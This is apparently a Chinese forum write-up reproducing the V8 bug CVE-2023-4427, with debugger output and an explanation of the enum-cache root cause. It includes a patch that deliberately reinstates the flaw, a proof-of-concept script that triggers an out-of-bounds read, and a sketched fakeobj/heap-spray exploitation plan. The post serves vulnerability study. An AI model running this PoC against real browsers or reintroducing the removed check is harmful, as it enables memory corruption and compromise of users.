首页
社区
课程
招聘
[原创] CVE-2023-4427 复现
发表于: 2025-3-9 17:27 5508

[原创] CVE-2023-4427 复现

2025-3-9 17:27
5508

首发于个人博客,感谢网络上分析过这个问题的师傅@Tokameine@XiaozaYa(排名不分先后)

v8学了一段时间,查阅了很多资料,同时收获很多,因此记录一下。

以下内容可能会存在一些错误,如果有问题,恳请各位大佬指正

编译debug版本,is_debug=true

编译release版本,is_debug=false

diff.patch的内容

推荐去看issue页面的description.pdf,讲的很清晰。下面的内容也是由这个pdf展开

在release版本下验证,debug版本有检测,会导致直接carsh

精简了一下poc

看到这样的输出,就说明环境是没有问题的

首先可以看这样一段代码

不难从下图看出,enum cache所在的位置,object -> map -> DescriptorArray -> enum_cache

这张图更形象

接着看这一段代码,介绍一下transition chain

如下输出

其中这里描述了obj1和obj2的transitions的相关信息

第一个说明当前map添加了一个b属性,然后向下转化为新的map 0x235e000d9cdd,也就是obj2的map

第二个说明当前map添加了一个c属性,然后向下转化为新的map 0x235e000d9d05,也就是obj3的map

下面是更为详细的图

三个对象共享一个DescriptorArray,然后其中的enum cacahe也是一样的

下面初始化一下enum cache

输出

V8 将 for...in 循环转换为常规 for 循环,并使用三个关键操作来执行:ForInEnumerate、ForInPrepare 和 ForInNext。ForInEnumerate 和 ForInPrepare 共同收集目标对象的所有可枚举属性名,并将它们存储到一个固定数组(fixed array)中,同时设置适当的上限(即属性的数量),作为隐式循环变量的上界。这个隐式变量还充当该固定数组的索引,所以在每次迭代时,ForInNext 都会从当前索引处加载键(key),然后将其赋值给用户可见的变量。

poc的触发函数

接着去vscode全局搜索Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey,查看问题代码

注释中将优化的过程讲的很清楚,首先receiver会被JSToObject转化为对象,然后调用ForInNext加载key,接着通过JSLoadProperty去加载value

优化完毕之后,就会走第二条路径,从receiverJSLoadProperty,但此时的JSLoadProperty会变成map check,也就是说如果map没发生变化,那么就会继续执行后面的流程,也就是从enum cache中调用,但是如果map发生了变化,那么就会重新进行优化。

接着是trigger的调用

这里先通过obj3的赋值,导致了enum cache的消失,此时的obj1obj2enum cache就会变成invaild,但是还是存在于内存里。然后obj3会创建新的map,此时的三个obj共享一个新的descriptor array

然后去初始化obj1enum cache,但此时的obj2obj3enum cache都为invalid,这里之后会进入trigger函数的函数体,执行的是遍历obj2,此时会去检查obj2map,发现其实没有变化,然后会载入enum cache的长度,这个长度是根据map来确定的,因此length本应该是1,但是这里载入了原本map上的enum cache的length,这样就造成了溢出

下图就是攻击的原理图

release版本没有job的显示,只有debug版本有,所以只能release和debug对着调

调试一下上面涉及到的原理

调试的poc

在执行输出trigger时,下断点b Builtins_ForInEnumerate,然后连续3次c,接着finish执行完Builtins_ForInEnumerate,然后会发现返回值会将obj2的map赋值给rcx

接着就是对于下面指令的解释

先取描述符数组,接着取enum cache,然后取enum_cache.key,最后然后取对应的enum_cache的length(这个length根据map来确定,因此造成了oob

map、enum_cache.key、length放到栈上

接着map的检查,然后取key[0]

接着取存在栈上的map,然后检查map是否发生变化

依次分别取出描述符数组、enum cache、enum_cache.indices

取出了enum_cache.indices[0],也就是对应的key,接着通过[r8 + r11*2 + 0xb]取到value

这里还是check map,但是这里变成了-0x38,原因是因为前面push了两个值

取key[1]

下面的流程其实就已经开始重复了,因为这是一个循环

这里是一个越界,因为原本的obj1对应的enum cache的size就是1,所以这里二就已经是越界了,取出了一个0x6a5的值,这就对应着新的idx的值,然后越界出了0x6a5,因为是smi,所以会右移1位,也就是/2

这里在取值,也就是说,通过这个map去向后索引这么多[r8 + r12*2 + 0xb],结合前面的/2,其实也就是obj2的map+0x6a4+0x8,这个的结果是让这个地址成为一个对象。

所以利用思路也就出来了,这里设obj2的地址为A,这里使得A+0x6a5+0x8的值落在一个可控的范围内,其实不难想到伪造对象,因为他是解引,所以这里需要伪造一个被指向的地址的区域是一个obj,稳定可控的话,可以想到适用通用对象的堆喷

这里的思路借鉴了@XiaozaYa师傅,非常巧妙,且成功率高

调试的时候遇到一些问题

需要通过调整对象的分配大小,最后才能成功触发poc,并得到fakeobj

4cbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6i4K6u0W2j5$3S2J5L8$3#2A6N6h3#2Q4x3X3g2G2M7X3N6Q4x3V1k6H3i4K6u0r3j5$3S2J5L8$3#2A6N6h3#2Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6A6k6q4)9K6c8o6p5@1y4K6l9$3y4U0R3`.

8baK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4U0p5$3y4K6l9&6z5e0y4Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5K6y4K6p5K6x3K6R3#2x3H3`.`.

https://bbs.kanxue.com/thread-280786.htm

b59K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5i4m8W2M7W2)9J5k6i4y4W2k6h3u0#2k6#2)9J5k6h3!0J5k6#2)9J5c8U0x3H3z5o6q4Q4x3V1j5`.

08eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6%4u0W2M7$3g2S2M7X3y4Z5L8r3q4T1i4K6u0W2j5$3!0Q4x3X3g2C8M7W2)9J5c8X3g2F1N6s2u0&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5x3#2)9J5k6o6b7@1x3U0N6Q4x3X3c8b7L8@1y4Q4x3X3c8a6N6i4c8Q4x3X3c8G2k6W2)9J5k6r3u0G2N6h3&6V1M7#2)9J5k6r3#2W2L8h3!0J5P5g2)9J5k6r3q4U0j5$3g2K6M7#2)9J5k6r3W2F1i4K6u0V1g2U0R3`.

a02K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5P5h3y4T1j5i4t1%4y4#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3x3U0l9J5x3#2)9J5c8U0p5J5i4K6u0r3x3o6q4Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1K6i4K6u0V1y4o6b7J5y4#2)9J5y4f1f1#2i4K6t1#2z5o6S2Q4x3U0f1^5y4W2)9J5y4f1f1$3i4K6t1#2z5f1g2Q4x3U0f1&6x3q4)9J5y4f1f1@1i4K6t1#2b7U0S2Q4x3U0f1^5c8g2)9J5y4f1f1#2i4K6t1#2b7e0c8Q4x3U0f1^5c8q4)9J5y4f1f1%4i4K6t1#2z5p5g2Q4x3U0g2n7x3q4)9J5c8W2)9J5x3@1u0#2K9h3I4V1

git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/debug d8
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/debug d8
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/release --args="symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/release d8
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/release --args="symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/release d8
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
  
-  // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
-      new_map->NumberOfEnumerableProperties() > 0) {
-    FastKeyAccumulator::InitializeFastPropertyEnumCache(
-        isolate_, new_map, new_map->NumberOfEnumerableProperties());
-  }
-
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
  
-  // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
-      new_map->NumberOfEnumerableProperties() > 0) {
-    FastKeyAccumulator::InitializeFastPropertyEnumCache(
-        isolate_, new_map, new_map->NumberOfEnumerableProperties());
-  }
-
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
for (let key in object2) { }
 
function trigger(callback) {
    for (let key in object2) {
        if (key == 'b'){
            callback();
            console.log(object2[key]);
        }
    }
}
 
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
 
trigger(_ => {
    object3.c = 1.1;
    for (let key in object1) { }
});
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
for (let key in object2) { }
 
function trigger(callback) {
    for (let key in object2) {
        if (key == 'b'){
            callback();
            console.log(object2[key]);
        }
    }
}
 
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
 
trigger(_ => {
    object3.c = 1.1;
    for (let key in object1) { }
});
const object1 = {};
object1.a = 1;
const object1 = {};
object1.a = 1;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
DebugPrint: 0x235e001c9521: [JS_OBJECT_TYPE]
 - map: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x235e000d9c8d: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 3
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x235e000c4a1d <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors #1: 0x235e001c95b9 <DescriptorArray[3]>
 - transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x235e001c9559: [JS_OBJECT_TYPE]
 - map: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
 }
0x235e000d9cdd: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 2
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors #2: 0x235e001c95b9 <DescriptorArray[3]>
 - transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x235e001c959d: [JS_OBJECT_TYPE]
 - map: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
    0x235e00002a41: [String] in ReadOnlySpace: #c: 1 (const data field 2), location: in-object
 }
0x235e000d9d05: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors (own) #3: 0x235e001c95b9 <DescriptorArray[3]>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
DebugPrint: 0x235e001c9521: [JS_OBJECT_TYPE]
 - map: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x235e000d9c8d: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 3
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x235e000c4a1d <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors #1: 0x235e001c95b9 <DescriptorArray[3]>
 - transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x235e001c9559: [JS_OBJECT_TYPE]
 - map: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
 }
0x235e000d9cdd: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 2
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors #2: 0x235e001c95b9 <DescriptorArray[3]>
 - transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x235e001c959d: [JS_OBJECT_TYPE]
 - map: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x235e000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
    0x235e00002a41: [String] in ReadOnlySpace: #c: 1 (const data field 2), location: in-object
 }
0x235e000d9d05: [Map] in OldSpace
 - map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
 - instance descriptors (own) #3: 0x235e001c95b9 <DescriptorArray[3]>
 - prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
 - constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
 - dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
- transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 
 - transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
- transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
 
 - transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
     0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
for (let key in object2) { }
 
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
 
for (let key in object2) { }
 
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
pwndbg> job 0x2243001c95d9
0x2243001c95d9: [DescriptorArray]
 - map: 0x22430000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: 2
   - keys: 0x2243000d9d41 <FixedArray[2]>
   - indices: 0x2243000d9d51 <FixedArray[2]>
 - nof slack descriptors: 0
 - nof descriptors: 3
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x224300002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
  [1]: 0x224300002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
  [2]: 0x224300002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 0, attrs: [WEC]) @ Any
pwndbg> job 0x2243001c95d9
0x2243001c95d9: [DescriptorArray]
 - map: 0x22430000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: 2
   - keys: 0x2243000d9d41 <FixedArray[2]>
   - indices: 0x2243000d9d51 <FixedArray[2]>
 - nof slack descriptors: 0
 - nof descriptors: 3
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x224300002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
  [1]: 0x224300002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
  [2]: 0x224300002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 0, attrs: [WEC]) @ Any
function trigger(callback) {
    for (let key in object2) {
        if (key == 'b'){
            callback();
            console.log(object2[key]);
        }
    }
}
function trigger(callback) {
    for (let key in object2) {
        if (key == 'b'){
            callback();
            console.log(object2[key]);
        }
    }
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:
 
  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty
 
  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.
 
  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0);
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
 
  if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
    return NoChange();
  }
 
  Node* object = name.receiver();
  Node* cache_type = name.cache_type();
  Node* index = name.index();
  if (object->opcode() == IrOpcode::kJSToObject) {
    object = NodeProperties::GetValueInput(object, 0);
  }
  if (object != receiver) return NoChange();
 
  // No need to repeat the map check if we can prove that there's no
  // observable side effect between {effect} and {name].
  if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
    // Check that the {receiver} map is still valid.
    Node* receiver_map = effect =
        graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
                         receiver, effect, control);
    Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
                                   cache_type);
    effect =
        graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
                         check, effect, control);
  }
 
  // Load the enum cache indices from the {cache_type}.
  Node* descriptor_array = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
      effect, control);
  Node* enum_cache = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
      descriptor_array, effect, control);
  Node* enum_indices = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
      effect, control);
 
  // Ensure that the {enum_indices} are valid.
  Node* check = graph()->NewNode(
      simplified()->BooleanNot(),
      graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
                       jsgraph()->EmptyFixedArrayConstant()));
  effect = graph()->NewNode(
      simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
      control);
 
  // Determine the key from the {enum_indices}.
  Node* key = effect = graph()->NewNode(
      simplified()->LoadElement(
          AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
      enum_indices, index, effect, control);
 
  // Load the actual field value.
  Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
                                          receiver, key, effect, control);
  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:
 
  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty
 
  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.
 
  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0);
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
 
  if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
    return NoChange();
  }
 
  Node* object = name.receiver();
  Node* cache_type = name.cache_type();
  Node* index = name.index();
  if (object->opcode() == IrOpcode::kJSToObject) {
    object = NodeProperties::GetValueInput(object, 0);
  }
  if (object != receiver) return NoChange();
 
  // No need to repeat the map check if we can prove that there's no
  // observable side effect between {effect} and {name].
  if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
    // Check that the {receiver} map is still valid.
    Node* receiver_map = effect =
        graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
                         receiver, effect, control);
    Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
                                   cache_type);
    effect =
        graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
                         check, effect, control);
  }
 
  // Load the enum cache indices from the {cache_type}.
  Node* descriptor_array = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
      effect, control);
  Node* enum_cache = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
      descriptor_array, effect, control);
  Node* enum_indices = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
      effect, control);
 
  // Ensure that the {enum_indices} are valid.
  Node* check = graph()->NewNode(
      simplified()->BooleanNot(),
      graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
                       jsgraph()->EmptyFixedArrayConstant()));
  effect = graph()->NewNode(
      simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
      control);
 
  // Determine the key from the {enum_indices}.
  Node* key = effect = graph()->NewNode(
      simplified()->LoadElement(
          AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
      enum_indices, index, effect, control);
 
  // Load the actual field value.
  Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
                                          receiver, key, effect, control);
